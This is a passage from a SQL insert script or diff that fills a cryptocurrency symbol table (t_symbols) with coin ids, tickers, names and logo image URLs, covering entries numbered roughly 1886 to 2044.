'Cosmo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmo-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1886, 'martexcoin', 'MXT', 'MarteXcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/martexcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1887, 'hitchain', 'HIT', 'HitChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hitchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1888, 'betop-token', 'BET', 'betop-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betop-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1889, 'bitibu-coin', 'BTB', 'Bitibu Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitibu-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1890, 'alchemint-standards', 'SDS', 'Alchemint Standards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemint-standards.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1891, 'goldmint', 'MNTP', 'GoldMint', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Goldmint_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1892, 'robotina', 'ROX', 'Robotina', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/robotina.png', NULL); +INSERT INTO `t_symbols` VALUES (1893, 'libra-credit', 'LBA', 'Libra Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/libra-credit.png', NULL); +INSERT INTO `t_symbols` VALUES (1894, 'microbitcoin', 'MBC', 'MicroBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/microbitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1895, 'ternio', 'TERN', 'Ternio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ternio.png', NULL); +INSERT INTO `t_symbols` VALUES (1896, 'wings', 'WINGS', 'Wings', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wings.png', NULL); +INSERT INTO `t_symbols` VALUES (1897, 'iotedge-network', 'IOTE', 'IOTEdge Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/6c5900ac1fbd6029883ac1108f788fd6.png', NULL); +INSERT INTO `t_symbols` VALUES (1898, 'btcdo-token', 'BT', 'btcdo-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcdo-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1899, 'nextdao', 'NAX', 'NextDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nextdao.png', NULL); +INSERT INTO `t_symbols` VALUES (1900, 'popularcoin', 'POP', 'PopularCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/popularcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1901, 'ip-exchange', 'IPSX', 'IP Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ip-exchange.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1902, 'ionchain-token', 'IONC', 'IONChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ionchain-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1903, 'auctus', 'AUC', 'Auctus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auctus.png', NULL); +INSERT INTO `t_symbols` VALUES (1904, 'atlas-protocol', 'ATP', 'Atlas Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlas-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1905, 'caf', 'CAF', 'Charter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caf.png', NULL); +INSERT INTO `t_symbols` VALUES (1906, 'content-neutrality-network', 'CNN', 'Content Neutrality Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-neutrality-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1907, 'box', 'BOX', 'BOX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/box.png', NULL); +INSERT INTO `t_symbols` VALUES (1908, 'blockmason', 'BCPT', 'Blockmason Credit Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/blockmasonio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1909, 'breakout-stake', 'BRX', 'Breakout Stake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/breakout-stake.png', NULL); +INSERT INTO `t_symbols` VALUES (1910, 'yuki', 'YUKI', 'YUKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yuki.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1911, 'optimal-shelf-availability-token', 'OSA', 'OSA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimal-shelf-availability-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1912, 'contentbox', 'BOX', 'ContentBox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/contentbox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1913, 'magi', 'XMG', 'Magi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magi.png', NULL); +INSERT INTO `t_symbols` VALUES (1914, 'evedo', 'EVED', 'Evedo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d74f92e096c0117f746fa66f4de7ec7d.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1915, 'bcgchain', 'BCG', 'bcgchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1916, 'hondaiscoin', 'HNDC', 'HondaisCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hondaiscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1917, 'ares-protocol', 'ARES', 'Ares Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ares-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1918, 'aidcoin', 'AID', 'AidCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1919, 'oswap', 'OSWAP', 'OpenSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/openswap.png', NULL); +INSERT INTO `t_symbols` VALUES (1920, 'arbitragect', 'ARCT', 'ArbitrageCT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/arbitrage_ct.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1921, 'uctt', 'UCTT', 'uctt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uctt.png', NULL); +INSERT INTO `t_symbols` VALUES (1922, 'bitcoin-rhodium', 'XRC', 'xRhodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-rhodium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1923, 'ethereum-blue', 'BLUE', 'Blue Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-blue.png', NULL); +INSERT INTO `t_symbols` VALUES (1924, 'par', 'PAR', 'Parachute', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/par.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1925, 'appcoins', 'APPC', 'AppCoins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/appcoins.png', NULL); +INSERT INTO `t_symbols` VALUES (1926, 'earthfund', '1EARTH', 'EarthFund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/earthfund.png', NULL); +INSERT INTO `t_symbols` VALUES (1927, 'fcs', 'FCS', 'fcs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fcs.png', NULL); +INSERT INTO `t_symbols` VALUES (1928, 'cryptcoin', 'CRYPT', 'CryptCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1929, 'curecoin', 'CURE', 'Curecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1930, 'bitcoin-free-cash', 'BFC', 'Bitcoin Free Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-free-cash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1931, 'mithril-ore', 'MORE', 'Mithril Ore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mithril-ore.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1932, 'travelflex', 'TRF', 'Travelflex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/travelflex.png', NULL); +INSERT INTO `t_symbols` VALUES (1933, 'investfeed', 'IFT', 'InvestFeed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investfeed.png', NULL); +INSERT INTO `t_symbols` VALUES (1934, 'phore', 'PHR', 'Phore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phore.png', NULL); +INSERT INTO `t_symbols` VALUES (1935, 'vtorrent', 'VTR', 'vTorrent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Avatara_World.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1936, 'fsbt-api-token', 'FSBT', 'FSBT API Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fsbt-api-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1937, 'btcdo-coin', 'BDB', 'BtcdoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcdo-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1938, 'havy', 'HAVY', 'Havy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havy.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1939, 'decentralized-vulnerability-platform', 'DVP', 'Decentralized Vulnerability Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-vulnerability-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (1940, 'thpc', 'THPC', 'THPC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thpc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1941, 'mvg-network-token', 'IUT', 'ITO Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mvg-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1942, 'neverdie', 'NDC', 'NEVERDIE Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neverdie.png', NULL); +INSERT INTO `t_symbols` VALUES (1943, 'fanstime', 'FTI', 'FansTime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fanstime.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1944, 'mash', 'MASH', 'Masternet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mash.png', NULL); +INSERT INTO `t_symbols` VALUES (1945, 'hotc', 'HOTC', 'HOTchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hotc.png', NULL); +INSERT INTO `t_symbols` VALUES (1946, 'indicoin', 'INDI', 'Indicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Indi_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1947, 'xtrabytes', 'XBY', 'XTRABYTES', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/xtrabytes.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1948, 'ghny', 'GHNY', 'Grizzly Honey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/grizzlyfi.png', NULL); +INSERT INTO `t_symbols` VALUES (1949, 'opiria---pdata', 'PDATA', 'PDATA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/opiria---pdata.png', NULL); +INSERT INTO `t_symbols` VALUES (1950, 'pyrexcoin', 'GPYX', 'GoldenPyrex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pyrexcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1951, 'nrp', 'NRP', 'Neural Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nrp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1952, 'pikciochain', 'PKX', 'PikcioChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pikciochain.png', NULL); +INSERT INTO `t_symbols` VALUES (1953, 'autonio', 'NIOX', 'Autonio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/aI_Autonio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1954, 'cnmc', 'CNMC', 'CNMC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnmc.png', NULL); +INSERT INTO `t_symbols` VALUES (1955, 'litebitcoin', 'LBTC', 'LiteBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litebitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1956, 'cotrader', 'COT', 'CoTrader', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cotrader.png', NULL); +INSERT INTO `t_symbols` VALUES (1957, 'dit', 'DIT', 'Direct Insurance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1958, 'bitcoin-atom', 'BCA', 'Bitcoin Atom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/atombitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1959, 'platincoin', 'PLC', 'PlatinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/platincoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1960, 'emerald', 'EMD', 'Emerald Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emerald.png', NULL); +INSERT INTO `t_symbols` VALUES (1961, 'wave-edu-coin', 'WEC', 'wave edu coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wave-edu-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1962, 'read', 'READ', 'READ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/read.png', NULL); +INSERT INTO `t_symbols` VALUES (1963, 'the-cypherfunks', 'FUNK', 'The Cypherfunks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-cypherfunks.png', NULL); +INSERT INTO `t_symbols` VALUES (1964, 'qwark', 'QWARK', 'Qwark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qwark.png', NULL); +INSERT INTO `t_symbols` VALUES (1965, 'trumpcoin', 'FREED', 'Freedomcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trumpcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1966, 'xenon', 'XNN', 'Xenon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xenon.png', NULL); +INSERT INTO `t_symbols` VALUES (1967, 'chatcoin', 'CHAT', 'BeeChat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chatcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1968, 'chess-coin', 'CHESS', 'Chess Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chess-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1969, 'pccm', 'PCCM', 'PCCM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pccm.png', NULL); +INSERT INTO `t_symbols` VALUES (1970, 'uranus', 'URAC', 'Uranus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uranus.png', NULL); +INSERT INTO `t_symbols` VALUES (1971, 'influence-chain', 'INC', 'Influence Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/influence-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1972, 'eap', 'EAP', 'eap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eap.png', NULL); +INSERT INTO `t_symbols` VALUES (1973, 'hexx', 'HXX', 'Hexx', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1974, 'decentrahub-coin', 'DCNTR', 'Decentrahub Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentrahub-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1975, 'xel', 'XEL', 'XEL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xel.png', NULL); +INSERT INTO `t_symbols` VALUES (1976, 'innova', 'INN', 'Innova', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/innovacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1977, 'otcbtc-token', 'OTB', 'OTCBTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/otcbtc-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1978, 'gotoken', 'GOT', 'ParkinGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gotoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1979, 'banca', 'BANCA', 'Banca', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banca.png', NULL); +INSERT INTO `t_symbols` VALUES (1980, 'bitnation', 'XPAT', 'Bitnation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitnation.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1981, 'wrapped-cryptokitties', 'WCK', 'Wrapped CryptoKitties', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-cryptokitties.png', NULL); +INSERT INTO `t_symbols` VALUES (1982, 'reddit', 'DONUT', 'Donut', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reddit.png', NULL); +INSERT INTO `t_symbols` VALUES (1983, 'blocktix', 'TIX', 'Blocktix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocktix.png', NULL); +INSERT INTO `t_symbols` VALUES (1984, 'verify', 'CRED', 'Verify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/verif_yas.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1985, 'energy-agregator-token', 'EA', 'energy-agregator-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energy-agregator-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1986, 'publica', 'PBL', 'Pebbles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/publica.png', NULL); +INSERT INTO `t_symbols` VALUES (1987, 'tokenpay', 'TPAY', 'TokenPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1988, 'cryptonite', 'XCN', 'Cryptonite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoniteCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1989, 'streamity', 'STM', 'Streamity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/streamity.png', NULL); +INSERT INTO `t_symbols` VALUES (1990, 'bfb', 'BFB', 'bfb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bfb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1991, 'flo', 'FLO', 'FLO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flo.png', NULL); +INSERT INTO `t_symbols` VALUES (1992, 'peepcoin', 'PCN', 'PeepCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peepcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1993, 'nyzo', 'NYZO', 'Nyzo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyzo.png', NULL); +INSERT INTO `t_symbols` VALUES (1994, 'dragonkart', 'KART', 'Dragon Kart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (1995, 'polkarare', 'PRARE', 'Polkarare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkarare.png', NULL); +INSERT INTO `t_symbols` VALUES (1996, 'howdoo', 'UDOO', 'Hyprr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/howdoo.png', NULL); +INSERT INTO `t_symbols` VALUES (1997, 'tellus', 'TLS', 'tellus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellus.png', NULL); +INSERT INTO `t_symbols` VALUES (1998, 'coinness', 'CNNS', 'CNNS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/17ffaa542e2c4d025632fc8342bd44c4.png', NULL); +INSERT INTO `t_symbols` VALUES (1999, 'hda', 'HDA', 'hda', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2000, 'vidulum', 'VDL', 'Vidulum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vidulum.png', NULL); +INSERT INTO `t_symbols` VALUES (2001, 'ether-zero', 'ETZ', 'Ether Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ether-zero.png', NULL); +INSERT INTO `t_symbols` VALUES (2002, 'ebank', 'EBANK', 'ebank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebank.png', NULL); +INSERT INTO `t_symbols` VALUES (2003, 'sureremit', 'RMT', 'SureRemit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sureremit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2004, 'bird', 'BIRD', 'Birdchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bird.png', NULL); +INSERT INTO `t_symbols` VALUES (2005, 'datawallet', 'DXT', 'Datawallet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/DataWalletHQ.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2006, 'drct', 'DRCT', 'DRC Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drct.png', NULL); +INSERT INTO `t_symbols` VALUES (2007, 'plair', 'PLA', 'Plair', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plair.png', NULL); +INSERT INTO `t_symbols` VALUES (2008, 'cryptoescudo', 'CESC', 'CryptoEscudo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cryptoescudo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2009, 'maxcoin', 'MAX', 'Maxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2010, 'cybervein', 'CVT', 'CyberVein', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybervein.png', NULL); +INSERT INTO `t_symbols` VALUES (2011, 'sakura-bloom', 'SKB', 'Sakura Bloom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sakura-bloom.png', NULL); +INSERT INTO `t_symbols` VALUES (2012, 'hashgard', 'GARD', 'Hashgard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashgard.png', NULL); +INSERT INTO `t_symbols` VALUES (2013, 'fire-lotto', 'FLOT', 'Fire Lotto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fire-lotto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2014, 'switch', 'ESH', 'Switch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/switch.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2015, 'rimbit', 'RBT', 'Rimbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RimbitCrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2016, 'bitgreen', 'BITG', 'Bitcoin Green', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgreen.png', NULL); +INSERT INTO `t_symbols` VALUES (2017, 'axpire', 'AXPR', 'Moola', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axpire.png', NULL); +INSERT INTO `t_symbols` VALUES (2018, 'blockmesh', 'BMH', 'BlockMesh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockmesh.png', NULL); +INSERT INTO `t_symbols` VALUES (2019, 'xiotri', 'XIOT', 'Xiotri', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xiotri.png', NULL); +INSERT INTO `t_symbols` VALUES (2020, 'xcash', 'XCASH', 'X-CASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2021, 'breezecoin', 'BRZE', 'Breezecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/breezecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2022, 'bitcurrency', 'BC', 'Bitcurrency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcurrency.png', NULL); +INSERT INTO `t_symbols` VALUES (2023, 'apollon', 'XAP', 'Apollon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apollon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2024, 'blockcdn', 'BCDN', 'BlockCDN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockcdn.png', NULL); +INSERT INTO `t_symbols` VALUES (2025, 'exchangen', 'EXN', 'ExchangeN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchangen.png', NULL); +INSERT INTO `t_symbols` VALUES (2026, 'shareschain', 'SCTK', 'SharesChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shareschain.png', NULL); +INSERT INTO `t_symbols` VALUES (2027, 'ine', 'INE', 'IntelliShare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ine.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2028, 'imos', 'IMOS', 'IMOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imos.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2029, 'truckcoin', 'TRK', 'Truckcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truckcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2030, 'mercurial', 'MER', 'Mercurial', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mercurial.png', NULL); +INSERT INTO `t_symbols` VALUES (2031, 'yap-stone', 'YAP', 'Yap Stone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yap-stone.png', NULL); +INSERT INTO `t_symbols` VALUES (2032, 'tret', 'TRET', 'Tourist Review Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tret.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2033, 'unipower', 'POWER', 'UniPower', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unipower.png', NULL); +INSERT INTO `t_symbols` VALUES (2034, 'photon', 'PHO', 'Photon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/photon.png', NULL); +INSERT INTO `t_symbols` VALUES (2035, 'tittiecoin', 'TIT', 'TittieCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tittiecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2036, 'trinity-network-credit', 'TNC', 'Trinity Network Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trinity-network-credit.png', NULL); +INSERT INTO `t_symbols` VALUES (2037, 'tai-ji-chain', 'OCC', 'tai-ji-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2038, 'chips', 'CHIPS', 'CHIPS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chips.png', NULL); +INSERT INTO `t_symbols` VALUES (2039, 'giga-watt-token', 'WTT', 'Giga Watt Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/gigawatt_mining.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2040, 'plusonecoin', 'PLUS1', 'PlusOneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plusonecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2041, 'powercandy', 'POC', 'Power candy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/powercandy.png', NULL); +INSERT INTO `t_symbols` VALUES (2042, 'cappasity', 'CAPP', 'Cappasity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cappasity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2043, 'ddkoin', 'DDK', 'DDKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ddkoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2044, 'ablx', 